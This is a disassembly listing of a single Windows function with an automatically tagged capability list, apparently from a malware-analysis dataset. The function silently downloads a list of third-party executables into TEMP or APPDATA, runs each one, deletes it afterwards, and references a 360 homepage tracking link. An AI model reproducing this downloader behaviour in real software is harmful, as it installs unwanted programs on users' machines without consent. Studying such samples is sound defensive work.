Function at 0x416300
Capabilities:
Create directory
Create process on windows
Delete directory
Delete file
Download url
Hide graphical window
Query environment variable
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442b14
mov eax, dword fs:[0]
push eax
mov eax, 0x110c
call fcn.00425cd0
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [ebx + 4]
push 0
push eax
mov dword [ebp - 0x1114], ebx
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [ebx + 0x9c], 1
jne 0x4166cc
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x101e]
push edx
mov word [ebp - 0x1020], cx
call fcn.004212c0
add esp, 0xc
xor eax, eax
jmp 0x416380
movzx ecx, word [eax + 0x451054]
mov word [ebp + eax - 0x1020], cx
add eax, 2
test cx, cx
jne 0x416380
call fcn.0040e070
mov edi, 7
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x1090], edi
mov dword [ebp - 0x1094], ebx
mov word [ebp - 0x10a4], ax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1088], ebx
mov dword [ebp - 0x1084], ebx
mov dword [ebp - 0x1080], ebx
push 0x2f
mov eax, str.C:Program_FilesInternet_Exploreriexplore.exe
lea esi, [ebp - 0x10a4]
mov byte [ebp - 4], 1
call fcn.00404070
mov dword [ebp - 4], 2
xor ecx, ecx
mov dword [ebp - 0x1064], edi
mov dword [ebp - 0x1068], ebx
mov word [ebp - 0x1078], cx
mov dword [ebp - 0x105c], ebx
mov dword [ebp - 0x1058], ebx
mov dword [ebp - 0x1054], ebx
push 0x28
mov eax, str.http:__hao.360.cn__srclmlsn580357bf91
lea esi, [ebp - 0x1078]
mov byte [ebp - 4], 4
call fcn.00404070
lea ecx, [ebp - 0x10fc]
mov byte [ebp - 4], 5
call fcn.0040c4f0
push 0xd
mov eax, str.Skinlink.ico
lea ecx, [ebp - 0x10fc]
mov byte [ebp - 4], 6
call fcn.00412880
xor edx, edx
mov dword [ebp - 0x1038], edi
mov dword [ebp - 0x103c], ebx
mov word [ebp - 0x104c], dx
mov dword [ebp - 0x1030], ebx
mov dword [ebp - 0x102c], ebx
mov dword [ebp - 0x1028], ebx
mov ebx, 8
push 0x22
mov eax, str.C:Program_FilesInternet_Explorer
lea esi, [ebp - 0x104c]
mov byte [ebp - 4], bl
call fcn.00404070
mov byte [ebp - 4], 9
mov edi, dword [ebp - 0x104c]
cmp dword [ebp - 0x1038], ebx
jae 0x4164a1
mov edi, esi
mov edx, dword [ebp - 0x10fc]
cmp dword [ebp - 0x10e8], ebx
jae 0x4164b5
lea edx, [ebp - 0x10fc]
mov ecx, dword [ebp - 0x1078]
cmp dword [ebp - 0x1064], ebx
jae 0x4164c9
lea ecx, [ebp - 0x1078]
cmp dword [ebp - 0x1090], ebx
mov ebx, dword [ebp - 0x10a4]
jae 0x4164dd
lea ebx, [ebp - 0x10a4]
lea eax, [ebp - 0x1020]
push eax
call fcn.004176b0
lea ecx, [ebp - 0x10d0]
call fcn.0040c4f0
push 0xf
mov eax, str.SmallPander.exe
lea ecx, [ebp - 0x10d0]
mov byte [ebp - 4], 0xa
call fcn.00412880
cmp dword [ebp - 0x10bc], 8
mov eax, dword [ebp - 0x10d0]
jae 0x41651f
lea eax, [ebp - 0x10d0]
xor esi, esi
push esi
push esi
push str._cmdfun
push eax
push 0x450480
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp - 0x10b4]
cmp eax, esi
je 0x416548
push eax
call fcn.0041afda
add esp, 4
mov ebx, 8
mov dword [ebp - 0x10b4], esi
mov dword [ebp - 0x10b0], esi
mov dword [ebp - 0x10ac], esi
cmp dword [ebp - 0x10bc], ebx
jb 0x416576
mov ecx, dword [ebp - 0x10d0]
push ecx
call fcn.0041afda
add esp, 4
mov eax, dword [ebp - 0x1030]
xor edx, edx
mov edi, 7
mov dword [ebp - 0x10bc], edi
mov dword [ebp - 0x10c0], esi
mov word [ebp - 0x10d0], dx
cmp eax, esi
je 0x4165a3
push eax
call fcn.0041afda
add esp, 4
mov dword [ebp - 0x1030], esi
mov dword [ebp - 0x102c], esi
mov dword [ebp - 0x1028], esi
cmp dword [ebp - 0x1038], ebx
jb 0x4165cc
mov eax, dword [ebp - 0x104c]
push eax
call fcn.0041afda
add esp, 4
mov eax, dword [ebp - 0x10e0]
xor ecx, ecx
mov dword [ebp - 0x1038], edi
mov dword [ebp - 0x103c], esi
mov word [ebp - 0x104c], cx
cmp eax, esi
je 0x4165f4
push eax
call fcn.0041afda
add esp, 4
mov dword [ebp - 0x10e0], esi
mov dword [ebp - 0x10dc], esi
mov dword [ebp - 0x10d8], esi
cmp dword [ebp - 0x10e8], ebx
jb 0x41661d
mov edx, dword [ebp - 0x10fc]
push edx
call fcn.0041afda
add esp, 4
xor eax, eax
mov word [ebp - 0x10fc], ax
mov eax, dword [ebp - 0x105c]
mov dword [ebp - 0x10e8], edi
mov dword [ebp - 0x10ec], esi
cmp eax, esi
je 0x416645
push eax
call fcn.0041afda
add esp, 4
mov dword [ebp - 0x105c], esi
mov dword [ebp - 0x1058], esi
mov dword [ebp - 0x1054], esi
cmp dword [ebp - 0x1064], ebx
jb 0x41666e
mov ecx, dword [ebp - 0x1078]
push ecx
call fcn.0041afda
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1088]
xor edx, edx
mov dword [ebp - 0x1064], edi
mov dword [ebp - 0x1068], esi
mov word [ebp - 0x1078], dx
cmp eax, esi
je 0x41669d
push eax
call fcn.0041afda
add esp, 4
mov dword [ebp - 0x1088], esi
mov dword [ebp - 0x1084], esi
mov dword [ebp - 0x1080], esi
cmp dword [ebp - 0x1090], ebx
jb 0x4166c6
mov eax, dword [ebp - 0x10a4]
push eax
call fcn.0041afda
add esp, 4
mov ebx, dword [ebp - 0x1114]
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x216]
push edx
mov word [ebp - 0x218], cx
call fcn.004212c0
add esp, 0xc
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x41e]
push ecx
mov word [ebp - 0x420], ax
call fcn.004212c0
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
add esp, 0xc
push 0x104
lea edx, [ebp - 0x420]
push edx
push str.APPDATA
call esi
lea eax, [ebp - 0x110c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x1100]
push eax
push 0x44f928
lea edx, [ebp - 0x620]
call fcn.00414120
add esp, 8
push 0x104
lea ecx, [ebp - 0x218]
push ecx
push str.TEMP
call esi
lea edi, [ebp - 0x218]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x416765
mov edx, dword [0x4502a0]
lea eax, [ebp - 0x620]
mov dword [edi], edx
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x416781
lea edi, [ebp - 0x218]
sub eax, edx
add edi, 0xfffffffe
jmp 0x4167a0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x4167a0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x218]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [ebp + eax - 0x218]
mov word [ebp + eax - 0x820], cx
add eax, 2
test cx, cx
jne 0x4167d0
xor ecx, ecx
mov dword [ebp - 0x1110], ecx
cmp dword [0x465e18], ecx
jle 0x416c6b
mov eax, dword [ebx + 0xa0]
cmp dword [eax + ecx*8 + 4], 0
lea edi, [ecx*8]
je 0x416c58
mov esi, dword [eax + edi]
add esi, 0x38
push 8
mov eax, 0x451110
call fcn.00404070
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x1038], 7
mov dword [ebp - 0x103c], eax
mov word [ebp - 0x104c], cx
mov dword [ebp - 0x1030], eax
mov dword [ebp - 0x102c], eax
mov dword [ebp - 0x1028], eax
mov dword [ebp - 4], 0xb
add edi, dword [ebx + 0xa0]
mov eax, dword [edi]
mov edx, dword [eax + 0x48]
add eax, 0x38
mov ecx, edx
cmp ecx, edx
jae 0x41686e
mov esi, edx
cmp edx, 8
jb 0x41687a
mov esi, 8
cmp dword [eax + 0x14], 8
jb 0x416882
mov eax, dword [eax]
mov ecx, 0x451110
test esi, esi
je 0x4168a7
jmp 0x416890
mov bx, word [eax]
cmp bx, word [ecx]
jne 0x4168b1
add eax, 2
add ecx, 2
dec esi
jne 0x416890
mov ebx, dword [ebp - 0x1114]
cmp edx, 8
jae 0x4168c7
or eax, 0xffffffff
jmp 0x4168cf
movzx eax, word [eax]
cmp ax, word [ecx]
sbb eax, eax
and eax, 0xfffffffe
inc eax
je 0x4168a1
mov ebx, dword [ebp - 0x1114]
jmp 0x4168cf
xor eax, eax
cmp edx, 8
setne al
test eax, eax
sete al
test al, al
jne 0x416947
mov ecx, dword [edi]
mov eax, dword [ecx + 0x48]
add ecx, 0x38
push str.OfficeAssist.0744.80.1188.exe
mov edi, 0x1d
call fcn.004074c0
test eax, eax
je 0x416947
mov esi, dword [ebp - 0x1110]
mov eax, dword [ebx + 0xa0]
add esi, esi
add esi, esi
add esi, esi
mov ecx, dword [eax + esi]
mov eax, dword [ecx + 0x48]
add ecx, 0x38
push str.dy28883043458.exe
mov edi, 0x11
call fcn.004074c0
test eax, eax
je 0x416947
mov eax, dword [ebx + 0xa0]
mov ecx, dword [eax + esi]
mov eax, dword [ecx + 0x48]
add ecx, 0x38
push str.Browser_V5.2.3285.46_r_4018__Build1508061308_.exe
mov edi, 0x31
call fcn.004074c0
test eax, eax
jne 0x4169dd
lea eax, [ebp - 0x420]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x416950
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x420]
lea esi, [ebp - 0x104c]
call fcn.00404070
mov edi, 8
push edi
mov eax, str._bdsoft_
mov ecx, esi
call fcn.00412880
mov eax, dword [ebp - 0x104c]
cmp dword [ebp - 0x1038], edi
jae 0x416993
mov eax, esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebx + 0xa0]
add eax, eax
add eax, eax
add eax, eax
mov eax, dword [ecx + eax]
add eax, 0x38
cmp dword [eax + 0x14], edi
jb 0x4169bb
mov eax, dword [eax]
mov ecx, eax
lea esi, [ecx + 2]
mov dx, word [ecx]
add ecx, 2
test dx, dx
jne 0x4169c0
sub ecx, esi
sar ecx, 1
push ecx
lea ecx, [ebp - 0x104c]
call fcn.00412880
jmp 0x4169e2
mov edi, 8
mov ecx, dword [ebp - 0x1110]
mov eax, dword [ebx + 0xa0]
add ecx, ecx
add ecx, ecx
add ecx, ecx
mov eax, dword [eax + ecx]
mov esi, dword [eax + 0x48]
add eax, 0x38
mov ecx, esi
cmp ecx, esi
jae 0x416a03
mov edx, esi
cmp esi, 0xc
jb 0x416a0f
mov edx, 0xc
cmp dword [eax + 0x14], edi
jb 0x416a16
mov eax, dword [eax]
mov ecx, str.2144game.exe
test edx, edx
je 0x416a36
nop
mov di, word [eax]
cmp di, word [ecx]
jne 0x416a40
add eax, 2
add ecx, 2
dec edx
jne 0x416a20
mov edi, 8
cmp esi, 0xc
jae 0x416a4f
or eax, 0xffffffff
jmp 0x416a57
sbb eax, eax
and eax, 0xfffffffe
inc eax
je 0x416a31
mov edi, 8
jmp 0x416a57
xor eax, eax
cmp esi, 0xc
setne al
test eax, eax
sete al
test al, al
je 0x416ad0
lea eax, [ebp - 0x420]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x416a70
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x420]
lea esi, [ebp - 0x104c]
call fcn.00404070
push 1
mov eax, 0x4502a0
mov ecx, esi
call fcn.00412880
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebx + 0xa0]
add eax, eax
add eax, eax
add eax, eax
mov eax, dword [ecx + eax]
add eax, 0x38
cmp dword [eax + 0x14], edi
jb 0x416abe
mov eax, dword [eax]
mov ecx, eax
lea esi, [ecx + 2]
mov dx, word [ecx]
add ecx, 2
test dx, dx
jne 0x416ac3
jmp 0x416b3e
lea eax, [ebp - 0x218]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x416ae0
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x218]
lea esi, [ebp - 0x104c]
call fcn.00404070
push 1
mov eax, 0x4502a0
mov ecx, esi
call fcn.00412880
mov eax, dword [ebp - 0x1110]
mov edx, dword [ebx + 0xa0]
add eax, eax
add eax, eax
add eax, eax
mov eax, dword [edx + eax]
add eax, 0x38
cmp dword [eax + 0x14], edi
jb 0x416b2e
mov eax, dword [eax]
mov ecx, eax
lea esi, [ecx + 2]
mov dx, word [ecx]
add ecx, 2
test dx, dx
jne 0x416b33
sub ecx, esi
sar ecx, 1
push ecx
lea ecx, [ebp - 0x104c]
call fcn.00412880
mov ecx, dword [ebp - 0x104c]
cmp dword [ebp - 0x1038], edi
jae 0x416b62
lea ecx, [ebp - 0x104c]
mov esi, dword [ebp - 0x1110]
mov eax, dword [ebx + 0xa0]
add esi, esi
add esi, esi
add esi, esi
mov eax, dword [eax + esi]
add eax, 0x1c
cmp dword [eax + 0x14], edi
jb 0x416b81
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x416bf4
mov eax, dword [ebx + 0xa0]
mov eax, dword [eax + esi]
add eax, 0x54
cmp dword [eax + 0x14], edi
jb 0x416ba6
mov eax, dword [eax]
mov ecx, dword [ebp - 0x104c]
cmp dword [ebp - 0x1038], edi
jae 0x416bba
lea ecx, [ebp - 0x104c]
xor esi, esi
push esi
push esi
push eax
push ecx
push 0x450480
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x104c]
cmp dword [ebp - 0x1038], edi
jae 0x416beb
lea eax, [ebp - 0x104c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x416bf6
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1030]
cmp eax, esi
je 0x416c10
push eax
call fcn.0041afda
add esp, 4
mov dword [ebp - 0x1030], esi
mov dword [ebp - 0x102c], esi
mov dword [ebp - 0x1028], esi
cmp dword [ebp - 0x1038], edi
jb 0x416c39
mov ecx, dword [ebp - 0x104c]
push ecx
call fcn.0041afda
add esp, 4
mov ecx, dword [ebp - 0x1110]
xor edx, edx
mov dword [ebp - 0x1038], 7
mov dword [ebp - 0x103c], esi
mov word [ebp - 0x104c], dx
inc ecx
mov dword [ebp - 0x1110], ecx
cmp ecx, dword [0x465e18]
jl 0x4167fc
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebx
call fcn.00417030
mov ecx, dword [ebx + 4]
push 0
push 0
push 0x10
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret